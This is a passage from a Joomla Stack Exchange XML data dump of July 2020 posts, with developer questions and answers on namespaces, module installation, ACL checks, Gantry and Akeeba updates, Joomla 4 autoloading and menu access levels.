limit=&amp;quot;1&amp;quot;}[title][fulltext]{/articles}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-07-14T23:15:33.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28275" PostTypeId="2" ParentId="28273" CreationDate="2020-07-15T00:03:45.107" Score="1" Body="&lt;p&gt;You need to specify the namespace before you use them, so for your examples above:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\Language\Text;&#xA;use \Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;class YourClass extends BaseController {&#xA;    echo Text::_('YOUR_CONSTANT');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Otherwise, you can do it like this, which is going to get tedious pretty quick:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class YourClass extends \Joomla\CMS\MVC\Controller\BaseController {&#xA;    echo \Joomla\CMS\Language\Text::_('YOUR_CONSTANT');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="12524" LastEditDate="2020-07-15T21:33:57.450" LastActivityDate="2020-07-15T21:33:57.450" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28276" PostTypeId="1" CreationDate="2020-07-15T13:28:21.353" Score="1" ViewCount="80" Body="&lt;p&gt;I've read all the official Joomla documentation and videos available to learn how to make a basic module, however, when I finish making a module, I can't manage to install it in my Joomla project.&lt;/p&gt;&#xA;&lt;p&gt;I am receiving the following error&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It was not possible find the installation package.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Can anybody help me?&lt;/p&gt;&#xA;&lt;p&gt;The server I use is Apache and the module files are these &lt;a href=&quot;https://drive.google.com/file/d/1KYjSUCzorrfm54p2JNVPqh7FlYKyyjnG/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1KYjSUCzorrfm54p2JNVPqh7FlYKyyjnG/view?usp=sharing&lt;/a&gt;&#xA;As simple as possible.&lt;/p&gt;&#xA;" OwnerUserId="14404" LastEditorUserId="14404" LastEditDate="2020-07-16T12:47:26.727" LastActivityDate="2020-07-17T11:02:32.600" Title="How to create a Joomla module and be able to install it?" Tags="|module|installation|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28277" PostTypeId="2" ParentId="25073" CreationDate="2020-07-16T18:42:19.200" Score="0" Body="&lt;p&gt;First check your session handler in configuration.php and try to set it to 'none'.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$session_handler = 'none';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That should work in most cases and you might get some information on the true causes of the failure.&lt;/p&gt;&#xA;&lt;p&gt;In my case, the &lt;code&gt;$session_handler&lt;/code&gt; was set to 'database' and I had an error in my database setup. If this applies to you as well, check your database setup carefully again (host, db, user &amp;amp; password).&lt;/p&gt;&#xA;" OwnerUserId="14405" LastEditorUserId="12352" LastEditDate="2020-07-16T21:47:12.843" LastActivityDate="2020-07-16T21:47:12.843" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28278" PostTypeId="2" ParentId="28276" CreationDate="2020-07-17T00:21:58.483" Score="1" Body="&lt;p&gt;I was able to get the same message about not being able to find the install file so I compressed your module as a .zip and it installed fine.&lt;/p&gt;&#xA;&lt;p&gt;It is likely that your hosting environment is not able to handle the .RAR format.&lt;/p&gt;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2020-07-17T00:21:58.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28279" PostTypeId="1" CreationDate="2020-07-17T08:35:05.593" Score="2" ViewCount="77" Body="&lt;p&gt;I am trying to render a mod_login module - on the fly - from inside a system plugin. So far, there is no existing mod_login instance in the website nor the database. I am just trying to create a new module object through PHP.&lt;/p&gt;&#xA;&lt;p&gt;For the same 3.9.19 website, the following code works on my MAMP localhost with php72, but it doesn't work on the online Litespeed server with php72.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_login', '');&#xA;$moduleParams = new JRegistry($module-&amp;gt;params);     &#xA;$moduleParams-&amp;gt;set('style', &amp;quot;System-html5&amp;quot;);&#xA;$module-&amp;gt;showtitle = &amp;quot;1&amp;quot;;&#xA;$module-&amp;gt;title = $title;&#xA;$renderer = $doc-&amp;gt;loadRenderer('module');&#xA;$modHtml = $renderer-&amp;gt;render($module, array('params'=&amp;gt; $moduleParams));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the online server, I have to create a login module and specifically select that one in order to render it, otherwise I am getting null params for the on-the-fly module and an empty string when it's rendered.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_login', 'My Login');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So are there any special conditions in order to generate a module this way?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;###Some additional notes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;When online:&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;code&gt;$module = JModuleHelper::getModule('mod_login', '');&lt;/code&gt; :&lt;br /&gt;&#xA;If I have a mod_login module created and published in modules manager, then the above code will render that module. (haven't tried with having 2 or more modules to see which one it will pick).&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_login', '');&lt;/code&gt; :&lt;br /&gt;&#xA;With a trashed module, nothing will be rendered.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_login');&lt;/code&gt; :&lt;br /&gt;&#xA;Nothing will be rendered.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_login', 'TEST');&lt;/code&gt; :&lt;br /&gt;&#xA;With no mod_login module with that title, nothing will be rendered.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_login', 'TEST');&lt;/code&gt; :&lt;br /&gt;&#xA;With a mod_login module with that title, the TEST mod_login module will be rendered (and I assume it should also obey to any assignments like menu items/ACL that module will have).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;On localhost:&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;code&gt;$module = JModuleHelper::getModule('mod_login');&lt;/code&gt; :&lt;br /&gt;&#xA;Will create a fresh mod_login instance, everything will work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_login', 'NON EXISTING MODULE TITLE');&lt;/code&gt; :&lt;br /&gt;&#xA;Will create a fresh mod_login instance, everything will work.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Related content:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/24590/generate-and-render-a-module-on-an-article-with-php&quot;&gt;Generate and render a module on an article with PHP&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/23105&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/23105&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="12352" LastEditDate="2020-07-17T15:33:15.150" LastActivityDate="2020-07-17T15:33:15.150" Title="Generating a module instance from PHP" Tags="|php|module|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28280" PostTypeId="1" CreationDate="2020-07-17T10:36:21.937" Score="1" ViewCount="169" Body="&lt;p&gt;A before warning: I'm new to both Joomla, PHP and JS. So this might be obvious, but I'm lost.&lt;/p&gt;&#xA;&lt;p&gt;I'm looking to embed a program I made in react/node into Joomla.&#xA;The program uses JSX to create the HTML elements, then those elements are used as input for the rest of the app.&lt;/p&gt;&#xA;&lt;p&gt;I've done research and found that it's best to make a custom MVC&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23365907/how-to-integrate-angularjs-app-inside-joomla&quot;&gt;StackOverflow angularJS app in joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/8862/what-is-the-recommended-way-to-structure-a-joomla-3-custom-component-view-using&quot;&gt;StackExchange of the same question&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I've developed a basic MVC with admin and site files, by following &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Introduction&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There isn't much information on how to then get the JS scripts running on the MVC, and which files would be the input from the user.&lt;/p&gt;&#xA;&lt;p&gt;How do I get the JS scripts to run?&lt;/p&gt;&#xA;&lt;p&gt;If I can, where do I redirect the JSX to run to create the input forms?&lt;/p&gt;&#xA;&lt;p&gt;Would it be best to redevelop the app in angular?&lt;/p&gt;&#xA;" OwnerUserId="14407" LastEditorUserId="12352" LastEditDate="2020-07-17T15:23:38.510" LastActivityDate="2020-07-17T15:23:38.510" Title="Embed custom JS app in Joomla MVC" Tags="|custom-component|mvc|angularjs|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28281" PostTypeId="2" ParentId="28276" CreationDate="2020-07-17T11:02:32.600" Score="0" Body="&lt;p&gt;Thanks to everyone who helped me. I managed to solve the problem.&#xA;After reading the comments, I realized the mistake I was making. The file has to be specifically .zip, but I thought that any compressed file he would be able to interpret, but not. This may be due to my server, but I'm not sure. Sorry for my stupidity. kjsksjksjk&lt;/p&gt;&#xA;&lt;p&gt;Thank you all for your help again: Irata and FFrewin.&lt;/p&gt;&#xA;" OwnerUserId="14404" LastActivityDate="2020-07-17T11:02:32.600" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28282" PostTypeId="1" CreationDate="2020-07-17T15:03:09.443" Score="1" ViewCount="60" Body="&lt;p&gt;My joomla is version: 3.2.7 and Gantry is 4.1.20.&lt;/p&gt;&#xA;&lt;p&gt;I downloaded Gantry 4.1.32, but when I tried to update, this message appears:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Fatal error: Call to undefined method JInstallerAdapterPackage::getManifest() in /home/storage/4/c7/38/googeek3/public_html/portal/tmp/install_5f11bc9c68387/install.php on line 75&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I'm running Joomla in PHP5.6.&lt;/p&gt;&#xA;&lt;p&gt;I have another website hosted in the same host since 2016 and updates are running fine!&lt;/p&gt;&#xA;&lt;p&gt;They have the same configuration and I don't know what's happened.&lt;/p&gt;&#xA;&lt;p&gt;Both templates use JoomSocial (full template without JoomSocial plugin).&lt;/p&gt;&#xA;" OwnerUserId="14408" LastEditorUserId="12352" LastEditDate="2020-07-17T15:13:50.933" LastActivityDate="2024-03-29T07:02:55.687" Title="Error when updating Gantry from 4.1.20 to 4.1.32" Tags="|joomla-3.x|update|fatal-error|gantry|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28283" PostTypeId="2" ParentId="28282" CreationDate="2020-07-18T01:32:38.433" Score="0" Body="&lt;p&gt;Gantry v4.1.32 was the last supported version for Joomla 2.5.&lt;/p&gt;&#xA;&lt;p&gt;I suggest trying to install the latest version of Gantry for Joomla 3.x which is Gantry v4.1.43.&lt;/p&gt;&#xA;&lt;p&gt;Ideally, you should also also be updating Joomla and PHP (and any other third party extensions) to the latest versions.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-07-18T01:32:38.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28284" PostTypeId="1" CreationDate="2020-07-18T05:28:42.177" Score="2" ViewCount="180" Body="&lt;p&gt;I have in the code I don't conrol such a line which returns false:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!$user-&amp;gt;authorise('core.create', 'com_jdownloads.category.'.$option-&amp;gt;value)) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can run my code before and after this line (via a plugin).&lt;/p&gt;&#xA;&lt;p&gt;I need to temporary allow user to permit the action currently banned with the code above, and after done, and change permissions back.&lt;/p&gt;&#xA;&lt;p&gt;Is this possible and how?&lt;/p&gt;&#xA;&lt;p&gt;=========&#xA;Long story upon @Irata request&lt;/p&gt;&#xA;&lt;p&gt;@Irata I'm a developer of extension, which sends email notifications on Joomla content update - NotificationAry (NA),&#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/notificationary/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/notificationary/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Though it mainly works with JDownloads, I meet a problem reported by a user. NA allows users to subscribe per category and in User profile one can check categories to be notified on changes in.&#xA;Screenshot:&#xA;&lt;a href=&quot;http://images.my-dev.org/x/2020_07_18_16_32_52_nn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://images.my-dev.org/x/2020_07_18_16_32_52_nn.png&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This works in backend, but fail at frontend.&#xA;&lt;a href=&quot;http://images.my-dev.org/x/2020_07_18_16_34_51_vq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://images.my-dev.org/x/2020_07_18_16_34_51_vq.png&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To generate a list of JDownload categories I use your field&#xA;/administrator/components/com_jdownloads/models/fields/jdcategoryselect.php&lt;/p&gt;&#xA;&lt;p&gt;In my code it looks like this:&#xA;&lt;a href=&quot;https://github.com/gruz/GJFields/blob/master/categoryext.php#L196&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gruz/GJFields/blob/master/categoryext.php#L196&lt;/a&gt;&#xA;But at frontend it always returns empty array of options. At least now. It was ok some time ago, but maybe years ago.&lt;/p&gt;&#xA;&lt;p&gt;I checked JDownloads code and it doesn't allow registered users to get categories list&#xA;administrator/components/com_jdownloads/models/fields/jdcategoryselect.php&#xA;Line about 115&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!$user-&amp;gt;authorise('core.create', 'com_jdownloads.category.'.$option-&amp;gt;value)) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So at Frontend a registered user is not able to get the list of categories.&lt;/p&gt;&#xA;&lt;p&gt;I want to get the list of your categories and to use native JDownloads field for this. I try to avoid copying other extensions code into mine because updates can break things. I had to copy JDownloads code, &lt;a href=&quot;https://github.com/gruz/GJFields/blob/master/categoryext.php#L199&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gruz/GJFields/blob/master/categoryext.php#L199&lt;/a&gt; to make it work dirty&lt;/p&gt;&#xA;" OwnerUserId="8616" LastEditorUserId="8616" LastEditDate="2020-07-19T10:37:44.097" LastActivityDate="2023-08-04T11:06:20.820" Title="Change user permissions programmatically on the fly" Tags="|joomla-3.x|acl|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28285" PostTypeId="1" CreationDate="2020-07-18T23:17:14.340" Score="0" ViewCount="167" Body="&lt;p&gt;I was trying to update Akeeba backup in my Joomla site.&#xA;After two seconds from start, my site returns with a 500 server error.&#xA;Definitely the &amp;quot;Akeeba update&amp;quot; was the culprit!&lt;/p&gt;&#xA;&lt;p&gt;I think the reason was that my site was in the localhost and most probably somewhere Akeeba didn't find what it needed.&lt;/p&gt;&#xA;&lt;p&gt;In my opinion, they have to support such cases for free (Their application update damaged my site, not anything else). But unfortunately for asking a question to them one should buy at least their ticket subscription for 50 Euros.&lt;/p&gt;&#xA;&lt;p&gt;So my question.&#xA;How to restore the site to point before starting to update the Akeeba backup.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2020-07-20T16:52:14.993" Title="Akeeba backup update broke the site" Tags="|joomla-3.9|akeebabackup|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28286" PostTypeId="1" AcceptedAnswerId="28287" CreationDate="2020-07-19T00:11:38.837" Score="2" ViewCount="1028" Body="&lt;p&gt;I'm trying to make my news module modification working with Joomla 4. My module is calling custom fields and I use this autoloader below to make it work in Joomla 4. Can you tell me what is the proper way to use autoloader on Joomla 4 instead of using this legacy one?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="12352" LastEditDate="2020-07-19T02:43:05.667" LastActivityDate="2020-07-19T09:41:05.080" Title="Proper way for autoloading in Joomla 4" Tags="|joomla-4.x|autoload|jloader|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28287" PostTypeId="2" ParentId="28286" CreationDate="2020-07-19T09:41:05.080" Score="3" Body="&lt;p&gt;This should still work in 4.0 but will break in 5.0. You are advised to use fully qualified class names. Remove &lt;code&gt;JLoader::register()&lt;/code&gt; call and instead add a &lt;code&gt;use&lt;/code&gt; statement:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-07-19T09:41:05.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28288" PostTypeId="2" ParentId="28285" CreationDate="2020-07-19T15:00:11.627" Score="-1" Body="&lt;p&gt;Unfortunately, I couldn't find a timely answer to my problem, so I used git stash to return to the last committed state of my site.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2020-07-19T15:00:11.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28289" PostTypeId="2" ParentId="28285" CreationDate="2020-07-19T18:32:18.123" Score="3" Body="&lt;p&gt;It's a good practice to always have up-to-date backups of your projects/sites. This way, you can always revert back to a previous working state.&lt;/p&gt;&#xA;&lt;p&gt;If an extension has broken your site, then remove that extension.&#xA;You can do it manually by navigating to the directories of your Joomla site, where each extension places its files.&lt;/p&gt;&#xA;&lt;p&gt;For example in the case of Akeeba, you can manually navigate to the &lt;code&gt;/administrator/components/&lt;/code&gt; and rename or remove the &lt;code&gt;com_akeeba&lt;/code&gt; folder, do the same for the &lt;code&gt;/components/com_akeeba&lt;/code&gt; and all akeeba plugins in the plugins folder.&lt;/p&gt;&#xA;&lt;p&gt;The following resources might be helpful:  &lt;a href=&quot;https://joomla.stackexchange.com/questions/21209/how-to-make-manual-re-installation-of-joomla-core-without-losing-extensions&quot;&gt;How to make manual re-installation of Joomla! Core without losing extensions?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/support/akeeba-backup-3x/Ticket/14539:500-internal-server-error-after-installing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeebabackup.com/support/akeeba-backup-3x/Ticket/14539:500-internal-server-error-after-installing.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Regarding Software Liability, Warranty and Support&lt;/h3&gt;&#xA;&lt;p&gt;After following the discussion in the comments (they are deleted now) and your demands for Free Support in your question: I feel we need to give a clear perspective regarding Open Source Software, the Liability and the responsibilities of the developers and the users.&lt;/p&gt;&#xA;&lt;p&gt;Things to keep in mind:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Software is a complex product. Many things can go wrong and there can be numerous factors that can affect its operation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the same time, for your particular case, it's not certain that Akeeba software was responsible for your broken site.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Nobody has forced you to use that piece of software.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When using 3rd party software, you need to be aware about the terms of using it, its license and your rights. With the majority of the software out there, and especially the Open Source and/or free provided software, the end user accepts liability for the use of it and should be pre-cautious regarding any possible damage it may cause.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Akeeba as many other similar software providers, develop open source software and provide it to the public. They offer a free version with limited features and a paid version with more features. When someone gets the paid version they opt in for the more features, pluss access to direct support from the developers.&lt;br /&gt;&#xA;This is the way to support the developers in developing software that is useful for you, and also to get in touch with them for possible issues you might have by using it, which is actually a promise that they will try to help you as best as possible.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's more than clear that demanding free support for a free software makes no sense - and you knew it when you downloaded and installed the software that you won't be getting support for it - that was your choice, and you intentionally went for the free version.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Akeeba Backup is under the &lt;a href=&quot;https://www.akeebabackup.com/license.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;GNU General Public License&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Please read the Software Licence that you use.&lt;/p&gt;&#xA;&lt;p&gt;Pay attention at 15 and 16 points.  A brief summary of those 2&#xA;paragraphs: the software is provided as is and the end user is&#xA;responsible for its usage, and even a possible damage or loss of data&#xA;caused by it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2020-07-20T16:52:14.993" LastActivityDate="2020-07-20T16:52:14.993" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28290" PostTypeId="2" ParentId="28284" CreationDate="2020-07-20T05:09:28.647" Score="1" Body="&lt;p&gt;You are overcomplicating things. Creating your own field class is the correct solution and you should remove the use of &lt;code&gt;JFormFieldjdCategorySelect&lt;/code&gt; completely.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-07-20T05:09:28.647" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28291" PostTypeId="2" ParentId="28233" CreationDate="2020-07-20T12:17:24.610" Score="1" Body="&lt;p&gt;Although I have had to put this work aside for the time being I wanted to provide some closure to this question.&lt;/p&gt;&#xA;&lt;p&gt;The last part of my original post is approximately what was required, I had to create a &lt;code&gt;/joomla/database/odbc.php&lt;/code&gt; which I created from copying from one of the existing drivers and change the relevant references to 'odbc', and that extended the JDatabaseDriverPdo class.&lt;/p&gt;&#xA;&lt;p&gt;That got me past the error message in the original Question but then I hit a problem with the next line,  &lt;code&gt;$query = $dbx-&amp;gt;getQuery(true);&lt;/code&gt;due to either an error in the core code or my lack of understanding but it is worth mentioning here if anyone else finds this post.&lt;/p&gt;&#xA;&lt;p&gt;The getQuery command calls this piece of code in &lt;code&gt;/joomla/database/driver.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getQuery($new = false)&#xA;    {&#xA;        if ($new)&#xA;        {&#xA;            // Derive the class name from the driver.&#xA;            $class = 'JDatabaseQuery' . ucfirst($this-&amp;gt;name);&#xA;&#xA;            // Make sure we have a query class for this driver.&#xA;            if (!class_exists($class))&#xA;            {&#xA;                // If it doesn't exist we are at an impasse so throw an exception.&#xA;                throw new JDatabaseExceptionUnsupported('Database Query Class not found.');&#xA;            }&#xA;&#xA;            return new $class($this);&#xA;        }&#xA;        else&#xA;        {&#xA;            return $this-&amp;gt;sql;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However &lt;code&gt;$this-&amp;gt;name&lt;/code&gt; which creates the $class is not picking up the value set in the JDatabaseDriverXxxx for &lt;code&gt;$this-name&lt;/code&gt; therefore it always falls out the bottom returning a value of &lt;code&gt;mysqli&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;My resolution was to copy this function into my joomla/database/odbc.php so that it would receive the correct value of &lt;code&gt;$this-&amp;gt;name&lt;/code&gt;, odbc.&lt;/p&gt;&#xA;&lt;p&gt;The lack of being able to find a suitable linux ODBC driver to work with the target has put this stage of the project on hold for the time being.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2020-07-20T12:17:24.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28292" PostTypeId="1" AcceptedAnswerId="28293" CreationDate="2020-07-20T16:39:36.083" Score="2" ViewCount="36" Body="&lt;p&gt;Joomla 3.9.20&lt;/p&gt;&#xA;&lt;p&gt;I allow users to register on my website, they automatically go into a group called 'Training', their parent group is &lt;code&gt;Registered&lt;/code&gt;, see below;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; - Registered&#xA; -- Training&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have created a 'Training' menu that is specifically for these users and the access level is set to &lt;code&gt;Registered&lt;/code&gt;, this allows users to login to the site and view this menu.&lt;/p&gt;&#xA;&lt;p&gt;The menu is really only applicable to these users, and no other group needs to see or access it.&lt;/p&gt;&#xA;&lt;p&gt;How can I hide this menu from &lt;code&gt;Super Users&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-07-21T03:10:35.063" Title="Menu Specifically For Super Users" Tags="|joomla-3.x|user|menu|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28293" PostTypeId="2" ParentId="28292" CreationDate="2020-07-21T02:54:40.690" Score="2" Body="&lt;p&gt;You should create a Viewing Access Level called 'Fred' or 'Training Only' and include only the Group 'Training' in this Viewing Access Level.&lt;/p&gt;&#xA;&lt;p&gt;In your Menu you change your Access Level from 'Registered' to 'Training Only' or 'Fred' or whatever you called it.&lt;/p&gt;&#xA;&lt;p&gt;It gets confusing with Group and Viewing Access Levels because as shipped they both share the stock names of Registered, Public, Guest etc. but they are not directly connected by that shared name.&lt;/p&gt;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2020-07-21T03:10:35.063" LastActivityDate="2020-07-21T03:10:35.063" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28294" PostTypeId="1" CreationDate="2020-07-21T09:15:31.737" Score="0" ViewCount="25" Body="&lt;p&gt;My Joomla version is 3.7.2 and my problem is that category images do not render when the filename contains whitespace characters.&lt;/p&gt;&#xA;&lt;p&gt;For example, an image name like: &lt;code&gt;Atlas Vandal Resistant  category Picture 1.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The file is uploaded to the folder, but when I retrieve it, it shows an invalid/broken image.&lt;/p&gt;&#xA;" OwnerUserId="14419" LastEditorUserId="12352" LastEditDate="2020-07-21T11:53:47.937" LastActivityDate="2020-07-22T13:59:30.203" Title="Whitespace characters in image filenames are not working" Tags="|joomla-3.7|images|file-upload|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28295" PostTypeId="1" AcceptedAnswerId="28296" CreationDate="2020-07-21T11:20:21.500" Score="1" ViewCount="101" Body="&lt;p&gt;I do not know javascript and scss very well so I am struggling with creating an accordion for a page.&#xA;I would like two options:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When one panel is opened, the other collapses.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Every heading of a panel has an anchor, and when i go to the link &lt;a href=&quot;http://www.example.com#heading1&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com#heading1&lt;/a&gt;, the page scrolls to the heading1 and opens its section.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;It used to work in this &lt;a href=&quot;https://extensions.joomla.org/extension/mooaccordion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;extension&lt;/a&gt;, but the anchors disappeared suddenly (i've checked in Chrome and Ff).&lt;/p&gt;&#xA;&lt;p&gt;For now i found in internet this accordion:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;accordion-container&amp;quot;&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;ac&amp;quot;&amp;gt;&#xA;    &amp;lt;h2 class=&amp;quot;ac-q&amp;quot; tabindex=&amp;quot;0&amp;quot;&amp;gt;Lorem ipsum dolor sit amet.&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;ac-a&amp;quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Nulla et sodales nisl. Nam auctor quis odio eu congue. Lorem ipsum dolor sit amet, consectetur adipiscing elit.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div 